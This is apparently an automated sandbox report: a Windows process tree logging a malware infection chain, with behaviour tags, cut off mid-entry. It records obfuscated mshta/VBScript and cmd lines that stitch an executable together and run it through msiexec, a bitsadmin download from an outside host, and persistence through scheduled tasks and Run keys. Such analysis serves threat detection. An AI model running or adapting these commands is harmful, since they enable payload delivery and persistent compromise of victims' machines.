C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC9⤵PID:3128
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHo "10⤵PID:5884
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"10⤵PID:3668
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec -Y ..\lXQ2g.WC10⤵PID:7876
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "12kod2VY4w_aJH6F93dV5zt5.exe"7⤵
- Drops file in Windows directory
- Kills process with taskkill
- Modifies registry class
PID:6096
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\llWqBB3BS0gK_yeEmxFt5VxY.exe"C:\Users\Admin\Pictures\Adobe Films\llWqBB3BS0gK_yeEmxFt5VxY.exe"4⤵PID:7764
-
-
C:\Users\Admin\Pictures\Adobe Films\cmHfofMk0KBLXUYfsI02YUE3.exe"C:\Users\Admin\Pictures\Adobe Films\cmHfofMk0KBLXUYfsI02YUE3.exe"4⤵PID:7084
-
C:\Users\Admin\AppData\Local\Temp\is-INMQ4.tmp\cmHfofMk0KBLXUYfsI02YUE3.tmp"C:\Users\Admin\AppData\Local\Temp\is-INMQ4.tmp\cmHfofMk0KBLXUYfsI02YUE3.tmp" /SL5="$10072E,506127,422400,C:\Users\Admin\Pictures\Adobe Films\cmHfofMk0KBLXUYfsI02YUE3.exe"5⤵
- Checks whether UAC is enabled
- Enumerates connected drives
PID:7644 -
C:\Users\Admin\AppData\Local\Temp\is-03QE0.tmp\DYbALA.exe"C:\Users\Admin\AppData\Local\Temp\is-03QE0.tmp\DYbALA.exe" /S /UID=27096⤵
- Drops file in Drivers directory
PID:3848 -
C:\Users\Admin\AppData\Local\Temp\64-7dd0e-d1e-a88bc-8e574d1941289\Luqywaeneju.exe"C:\Users\Admin\AppData\Local\Temp\64-7dd0e-d1e-a88bc-8e574d1941289\Luqywaeneju.exe"7⤵PID:4168
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\gf5bb4m3.prp\GcleanerEU.exe /eufive & exit8⤵PID:5836
-
C:\Users\Admin\AppData\Local\Temp\gf5bb4m3.prp\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\gf5bb4m3.prp\GcleanerEU.exe /eufive9⤵
- Checks computer location settings
- Checks whether UAC is enabled
- Drops file in Windows directory
PID:5992
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ls4cbbj5.e3m\installer.exe /qn CAMPAIGN="654" & exit8⤵PID:8588
-
C:\Users\Admin\AppData\Local\Temp\ls4cbbj5.e3m\installer.exeC:\Users\Admin\AppData\Local\Temp\ls4cbbj5.e3m\installer.exe /qn CAMPAIGN="654"9⤵PID:6936
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ptmd5d25.xsj\any.exe & exit8⤵PID:1872
-
C:\Users\Admin\AppData\Local\Temp\ptmd5d25.xsj\any.exeC:\Users\Admin\AppData\Local\Temp\ptmd5d25.xsj\any.exe9⤵PID:8524
-
C:\Users\Admin\AppData\Local\Temp\ptmd5d25.xsj\any.exe"C:\Users\Admin\AppData\Local\Temp\ptmd5d25.xsj\any.exe" -u10⤵PID:8968
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yqpezftg.ocx\gcleaner.exe /mixfive & exit8⤵PID:9208
-
C:\Users\Admin\AppData\Local\Temp\yqpezftg.ocx\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\yqpezftg.ocx\gcleaner.exe /mixfive9⤵PID:6064
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yw0dfxjq.ux3\autosubplayer.exe /S & exit8⤵
- Checks whether UAC is enabled
- Suspicious use of SetWindowsHookEx
PID:8048
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\iy551leq.0ru\GcleanerEU.exe /eufive & exit8⤵PID:3168
-
C:\Users\Admin\AppData\Local\Temp\iy551leq.0ru\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\iy551leq.0ru\GcleanerEU.exe /eufive9⤵PID:4428
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4428 -s 65210⤵
- Program crash
PID:3584
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4428 -s 66810⤵
- Program crash
PID:7560
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4428 -s 69210⤵
- Program crash
PID:536
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4428 -s 80810⤵
- Program crash
PID:7980
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4428 -s 87610⤵
- Program crash
- Modifies registry class
PID:7512
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4428 -s 94010⤵
- Program crash
- Modifies registry class
PID:7840
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4428 -s 109210⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
PID:4720
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bwlsc02n.jzg\installer.exe /qn CAMPAIGN="654" & exit8⤵PID:10684
-
C:\Users\Admin\AppData\Local\Temp\bwlsc02n.jzg\installer.exeC:\Users\Admin\AppData\Local\Temp\bwlsc02n.jzg\installer.exe /qn CAMPAIGN="654"9⤵
- Checks whether UAC is enabled
PID:10816
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\i2it4rtq.mys\any.exe & exit8⤵PID:9532
-
C:\Users\Admin\AppData\Local\Temp\i2it4rtq.mys\any.exeC:\Users\Admin\AppData\Local\Temp\i2it4rtq.mys\any.exe9⤵PID:9588
-
C:\Users\Admin\AppData\Local\Temp\i2it4rtq.mys\any.exe"C:\Users\Admin\AppData\Local\Temp\i2it4rtq.mys\any.exe" -u10⤵PID:9660
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\eys15b1q.mit\gcleaner.exe /mixfive & exit8⤵PID:10004
-
C:\Users\Admin\AppData\Local\Temp\eys15b1q.mit\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\eys15b1q.mit\gcleaner.exe /mixfive9⤵PID:11072
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\eejlsk3j.nqc\autosubplayer.exe /S & exit8⤵PID:6308
-
C:\Users\Admin\AppData\Local\Temp\eejlsk3j.nqc\autosubplayer.exeC:\Users\Admin\AppData\Local\Temp\eejlsk3j.nqc\autosubplayer.exe /S9⤵
- Drops file in Program Files directory
PID:2252 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsdE56D.tmp\tempfile.ps1"10⤵PID:3244
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsdE56D.tmp\tempfile.ps1"10⤵PID:9352
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsdE56D.tmp\tempfile.ps1"10⤵PID:7604
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV111⤵PID:1872
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsdE56D.tmp\tempfile.ps1"10⤵PID:1884
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsdE56D.tmp\tempfile.ps1"10⤵
- Blocklisted process makes network request
PID:7284 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV111⤵PID:6716
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsdE56D.tmp\tempfile.ps1"10⤵PID:10044
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV111⤵PID:7392
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsdE56D.tmp\tempfile.ps1"10⤵
- Checks for any installed AV software in registry
PID:8276
-
-
C:\Windows\SysWOW64\bitsadmin.exe"bitsadmin" /Transfer helper http://fscloud.su/data/data.7z C:\zip.7z10⤵
- Download via BitsAdmin
PID:8416
-
-
-
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\PChf_dwj5Cc7WQ9PvxALD1pc.exe"C:\Users\Admin\Pictures\Adobe Films\PChf_dwj5Cc7WQ9PvxALD1pc.exe"4⤵PID:6924
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=15⤵
- Adds Run key to start application
PID:8388 -
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--ZgwMku75"6⤵
- Checks whether UAC is enabled
PID:8120 -
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1d8,0x1d4,0x1d0,0x180,0x1f8,0x7ff87a8cdec0,0x7ff87a8cded0,0x7ff87a8cdee07⤵PID:9044
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1656,5948516999102193728,12480293718497710207,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8120_1521795980" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1676 /prefetch:27⤵PID:7596
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1656,5948516999102193728,12480293718497710207,131072 --lang=ja --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8120_1521795980" --mojo-platform-channel-handle=1904 /prefetch:87⤵PID:9152
-
-
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:3176
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:360
-
-
-
C:\Users\Admin\AppData\Roaming\vwcireuC:\Users\Admin\AppData\Roaming\vwcireu2⤵PID:8384
-
-
C:\Users\Admin\AppData\Roaming\vwcireuC:\Users\Admin\AppData\Roaming\vwcireu2⤵PID:2136
-
-
C:\Users\Admin\AppData\Roaming\vwcireuC:\Users\Admin\AppData\Roaming\vwcireu2⤵
- Checks SCSI registry key(s)
PID:5376
-
-
C:\Users\Admin\AppData\Roaming\vwcireuC:\Users\Admin\AppData\Roaming\vwcireu2⤵
- Checks SCSI registry key(s)
PID:1868
-
-
C:\Users\Admin\AppData\Roaming\vwcireuC:\Users\Admin\AppData\Roaming\vwcireu2⤵
- Checks SCSI registry key(s)
PID:5184
-
-
C:\Users\Admin\AppData\Roaming\vwcireuC:\Users\Admin\AppData\Roaming\vwcireu2⤵PID:4756
-
-
C:\Users\Admin\AppData\Roaming\vwcireuC:\Users\Admin\AppData\Roaming\vwcireu2⤵PID:8488
-
-
C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe"C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe"2⤵PID:5556
-
C:\Users\Admin\Documents\9bAY9ODUdmUWVoTbBcBIUC6N.exe"C:\Users\Admin\Documents\9bAY9ODUdmUWVoTbBcBIUC6N.exe"3⤵PID:5732
-
C:\Users\Admin\Pictures\Adobe Films\6sg77Dxm3eGTTYZPQRR6pkXX.exe"C:\Users\Admin\Pictures\Adobe Films\6sg77Dxm3eGTTYZPQRR6pkXX.exe"4⤵PID:5240
-
-
C:\Users\Admin\Pictures\Adobe Films\fOeZKo5yWlrxmuDmEewDgnns.exe"C:\Users\Admin\Pictures\Adobe Films\fOeZKo5yWlrxmuDmEewDgnns.exe"4⤵PID:7108
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7108 -s 6645⤵
- Program crash
PID:3680
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7108 -s 6845⤵
- Program crash
PID:5752
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7108 -s 7205⤵
- Program crash
PID:2464
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7108 -s 7925⤵
- Program crash
PID:4688
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7108 -s 10565⤵
- Program crash
PID:4596
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7108 -s 11525⤵
- Program crash
PID:6092
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7108 -s 11685⤵
- Program crash
PID:7560
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7108 -s 11765⤵
- Program crash
PID:5488
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7108 -s 12605⤵
- Program crash
PID:3956
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7108 -s 7885⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
PID:4952
-
-
-
C:\Users\Admin\Pictures\Adobe Films\CZIIMo2V2bjkOe5xVsOA7Hgo.exe"C:\Users\Admin\Pictures\Adobe Films\CZIIMo2V2bjkOe5xVsOA7Hgo.exe"4⤵PID:4240
-
-
C:\Users\Admin\Pictures\Adobe Films\5xzPFQbmjWUlSW1oJ4QnCySn.exe"C:\Users\Admin\Pictures\Adobe Films\5xzPFQbmjWUlSW1oJ4QnCySn.exe"4⤵PID:5652
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe5⤵PID:6232
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe6⤵
- Kills process with taskkill
PID:8036
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\FtvuzN3jeONKHs7VumypDQjX.exe"C:\Users\Admin\Pictures\Adobe Films\FtvuzN3jeONKHs7VumypDQjX.exe"4⤵PID:8340
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\FtvuzN3jeONKHs7VumypDQjX.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\FtvuzN3jeONKHs7VumypDQjX.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )5⤵
- Checks whether UAC is enabled
- Modifies Internet Explorer settings
PID:8884 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\FtvuzN3jeONKHs7VumypDQjX.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\FtvuzN3jeONKHs7VumypDQjX.exe" ) do taskkill -f -iM "%~NxM"6⤵PID:7476
-
C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi7⤵
- Checks computer location settings
- Checks whether UAC is enabled
PID:5732 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )8⤵
- Checks whether UAC is enabled
PID:720 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"9⤵PID:7784
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )8⤵
- Blocklisted process makes network request
- Checks computer location settings
- Modifies Internet Explorer settings
PID:5712 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC9⤵PID:8896
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHo "10⤵PID:3500
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"10⤵PID:5180
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec -Y ..\lXQ2g.WC10⤵PID:5536
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "FtvuzN3jeONKHs7VumypDQjX.exe"7⤵
- Kills process with taskkill
PID:596
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\VD2EwY8GRXukdfF6NuUMcfNE.exe"C:\Users\Admin\Pictures\Adobe Films\VD2EwY8GRXukdfF6NuUMcfNE.exe"4⤵PID:5128
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:6216
-
-
C:\Users\Admin\Pictures\Adobe Films\VD2EwY8GRXukdfF6NuUMcfNE.exe"C:\Users\Admin\Pictures\Adobe Films\VD2EwY8GRXukdfF6NuUMcfNE.exe" -u5⤵PID:4980
-
-
-
C:\Users\Admin\Pictures\Adobe Films\fW4fPhVU6bB0ya76YndsOY6f.exe"C:\Users\Admin\Pictures\Adobe Films\fW4fPhVU6bB0ya76YndsOY6f.exe"4⤵PID:3660
-
-
C:\Users\Admin\Pictures\Adobe Films\UhuSYtqhJLpRERn0Qgp62I0E.exe"C:\Users\Admin\Pictures\Adobe Films\UhuSYtqhJLpRERn0Qgp62I0E.exe"4⤵PID:5368
-
C:\Users\Admin\AppData\Local\Temp\is-4A1FR.tmp\UhuSYtqhJLpRERn0Qgp62I0E.tmp"C:\Users\Admin\AppData\Local\Temp\is-4A1FR.tmp\UhuSYtqhJLpRERn0Qgp62I0E.tmp" /SL5="$10AAC,506127,422400,C:\Users\Admin\Pictures\Adobe Films\UhuSYtqhJLpRERn0Qgp62I0E.exe"5⤵
- Checks whether UAC is enabled
PID:8440 -
C:\Users\Admin\AppData\Local\Temp\is-91APL.tmp\DYbALA.exe"C:\Users\Admin\AppData\Local\Temp\is-91APL.tmp\DYbALA.exe" /S /UID=27096⤵
- Drops file in Drivers directory
PID:2064 -
C:\Users\Admin\AppData\Local\Temp\e4-08840-105-0009f-5913c4bf67249\Moqycupyvi.exe"C:\Users\Admin\AppData\Local\Temp\e4-08840-105-0009f-5913c4bf67249\Moqycupyvi.exe"7⤵
- Checks whether UAC is enabled
PID:7812 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4ordnk24.gpt\GcleanerEU.exe /eufive & exit8⤵PID:4108
-
C:\Users\Admin\AppData\Local\Temp\4ordnk24.gpt\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\4ordnk24.gpt\GcleanerEU.exe /eufive9⤵PID:8344
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ebhvsp55.ylx\installer.exe /qn CAMPAIGN="654" & exit8⤵PID:1736
-
C:\Users\Admin\AppData\Local\Temp\ebhvsp55.ylx\installer.exeC:\Users\Admin\AppData\Local\Temp\ebhvsp55.ylx\installer.exe /qn CAMPAIGN="654"9⤵PID:3964
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xur2vbit.vwu\any.exe & exit8⤵PID:6480
-
C:\Users\Admin\AppData\Local\Temp\xur2vbit.vwu\any.exeC:\Users\Admin\AppData\Local\Temp\xur2vbit.vwu\any.exe9⤵PID:8472
-
C:\Users\Admin\AppData\Local\Temp\xur2vbit.vwu\any.exe"C:\Users\Admin\AppData\Local\Temp\xur2vbit.vwu\any.exe" -u10⤵PID:4584
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\utafzoj1.xdl\gcleaner.exe /mixfive & exit8⤵PID:3624
-
C:\Users\Admin\AppData\Local\Temp\utafzoj1.xdl\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\utafzoj1.xdl\gcleaner.exe /mixfive9⤵PID:7284
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qm4plkqt.qpq\autosubplayer.exe /S & exit8⤵PID:3444
-
C:\Users\Admin\AppData\Local\Temp\qm4plkqt.qpq\autosubplayer.exeC:\Users\Admin\AppData\Local\Temp\qm4plkqt.qpq\autosubplayer.exe /S9⤵
- Drops file in Program Files directory
PID:3200 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsyEC0C.tmp\tempfile.ps1"10⤵PID:8420
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV111⤵
- Drops file in Windows directory
PID:8204
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsyEC0C.tmp\tempfile.ps1"10⤵PID:6636
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsyEC0C.tmp\tempfile.ps1"10⤵PID:5968
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsyEC0C.tmp\tempfile.ps1"10⤵PID:1168
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV111⤵PID:5128
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsyEC0C.tmp\tempfile.ps1"10⤵
- Modifies Internet Explorer settings
PID:6092
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsyEC0C.tmp\tempfile.ps1"10⤵PID:600
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsyEC0C.tmp\tempfile.ps1"10⤵
- Blocklisted process makes network request
- Checks for any installed AV software in registry
PID:6816
-
-
C:\Windows\SysWOW64\bitsadmin.exe"bitsadmin" /Transfer helper http://fscloud.su/data/data.7z C:\zip.7z10⤵
- Download via BitsAdmin
PID:2920
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\akoafrgs.o4r\GcleanerEU.exe /eufive & exit8⤵PID:9876
-
C:\Users\Admin\AppData\Local\Temp\akoafrgs.o4r\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\akoafrgs.o4r\GcleanerEU.exe /eufive9⤵PID:10564
-
-
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\w71jIMviX_dwTYDfsjyMGmRA.exe"C:\Users\Admin\Pictures\Adobe Films\w71jIMviX_dwTYDfsjyMGmRA.exe"4⤵PID:6716
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=15⤵
- Adds Run key to start application
- Checks whether UAC is enabled
PID:7224 -
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--ZgwMku75"6⤵
- Checks whether UAC is enabled
PID:5012 -
